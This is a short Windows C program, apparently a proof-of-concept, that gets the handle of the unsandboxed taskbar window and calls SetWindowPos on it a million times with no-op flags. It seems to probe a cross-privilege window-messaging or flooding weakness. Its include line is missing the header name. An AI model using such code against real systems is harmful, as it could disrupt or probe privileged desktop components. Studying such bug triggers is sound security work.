#include #pragma comment(lib, "User32.lib") int main(int argc, char *argv[]) { int i; // Common UNsandboxed window handle HWND win = FindWindow("Shell_TrayWnd", NULL); for (i = 0; i < 1000000; i++) { // Dummy/no-op call with these SWP_* flags SetWindowPos(win, 0, 0, 0, 0, 0, SWP_ASYNCWINDOWPOS | SWP_DEFERERASE | SWP_NOACTIVATE | SWP_NOCOPYBITS | SWP_NOMOVE | SWP_NOREDRAW | SWP_NOREPOSITION | SWP_NOSENDCHANGING | SWP_NOSIZE | SWP_NOZORDER); } return 0; }